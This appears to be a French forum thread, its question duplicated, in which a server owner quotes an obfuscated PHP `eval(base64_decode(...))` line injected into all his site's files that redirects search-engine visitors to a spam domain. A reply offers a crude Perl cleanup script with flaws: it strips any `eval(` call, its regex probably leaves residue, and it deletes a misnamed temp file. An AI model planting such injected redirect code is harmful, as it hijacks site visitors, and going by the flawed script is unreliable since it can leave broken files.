Rechercher / Remplacer plusieurs fichiers linux
sluminure
-
loupius Messages postés 789 Statut Membre -
loupius Messages postés 789 Statut Membre -
Bonjour,
Depuis deux semaines, j'ai un grave probleme sur un de mes serveurs.
En effet, tout les fichiers phpde mes sites hebergés dessus ont une ligne inserés automatiquement à chaque appel php.
<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9nb29nbGUuMndha3kuY29tLyIpOw0KZXhpdCgpOw0KfQp9Cn0NCn0NCn0="));
//le code php normale.
?>
Il s'agit de base64 et en fait il semble s'agir d'une sorte de virus PHP qui redirige certains visiteurs sur un site de spam etc...
LA question c'est comment reussi t-il à s'intégrer dans tous les fichiers ?
J'ai modifié mes mdp ssh, cela ne semble pas venir des acces ftp(en regardant les logs) et cela concerne tous les fichiers php sur le serveur..
Je n'arrive pas à savoir d'ou cela vient.
Le truc c'est que j'ai modifié une fois les fichiers en enlevant la chaine mais aujourd'hui il a remis le code.. je ne sais pas comment.
Bon du coup, j'aimerais bien trouver un script en ligne de commande qui me permette de remplacer cette grand chaine la qui a plein de caractere bizarre par rien.
Avez-vous une suggestion ?
En vous remerciant,
Anselme
Depuis deux semaines, j'ai un grave probleme sur un de mes serveurs.
En effet, tout les fichiers phpde mes sites hebergés dessus ont une ligne inserés automatiquement à chaque appel php.
<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9nb29nbGUuMndha3kuY29tLyIpOw0KZXhpdCgpOw0KfQp9Cn0NCn0NCn0="));
//le code php normale.
?>
Il s'agit de base64 et en fait il semble s'agir d'une sorte de virus PHP qui redirige certains visiteurs sur un site de spam etc...
LA question c'est comment reussi t-il à s'intégrer dans tous les fichiers ?
J'ai modifié mes mdp ssh, cela ne semble pas venir des acces ftp(en regardant les logs) et cela concerne tous les fichiers php sur le serveur..
Je n'arrive pas à savoir d'ou cela vient.
Le truc c'est que j'ai modifié une fois les fichiers en enlevant la chaine mais aujourd'hui il a remis le code.. je ne sais pas comment.
Bon du coup, j'aimerais bien trouver un script en ligne de commande qui me permette de remplacer cette grand chaine la qui a plein de caractere bizarre par rien.
Avez-vous une suggestion ?
En vous remerciant,
Anselme
A voir également:
- Rechercher / Remplacer plusieurs fichiers linux
- Rechercher remplacer word - Guide
- Renommer plusieurs fichiers en même temps - Guide
- Remplacer disque dur par ssd - Guide
- Rechercher ou entrer l'adresse - Guide
- Linux reader - Télécharger - Stockage
1 réponse
Voici un script en Perl qui supprime tes 'eval(base64_decode' de tous les fichiers '.php' du répertoire courant; toutefois il ne faut pas qu'il y ait des 'eval(base64_decode' à ne pas supprimer:
Bonne continuation
#!/usr/bin/perl -w
use strict;
my ($fich, $hand, $flag);
opendir ($hand, ".") || die "impossible d'ouvrir ".": $!";
while ($fich = readdir $hand)
{
if ( (-f "$fich") && (-T "$fich") && (-w "$fich") )
{
if ($fich=~m/\.php$/)
{
if (open (FLect, "$fich") && open (FEcrt, ">${fich}tmp"))
{
$flag = 0;
while (<FLect>)
{
$flag = 1 if (/eval\(.*?\)/);
s/eval\(.*?\)//g;
print FEcrt;
}
close (FLect);
close (FEcrt);
if ($flag)
{ # La recherche a abouti -> Renommer le nouveau fichier
unlink "$fich";
rename "${fich}tmp", "$fich";
}
else
{ # La recherche n'a pas abouti -> Effacer nouveau fichier
unlink "${fich}zzz";
}
}
}
}
}
close ($hand);Je ne suis pas très balaise en Perl; on peut, sans aucun doute faire beaucoup plus simple.
Bonne continuation
Mille excuses.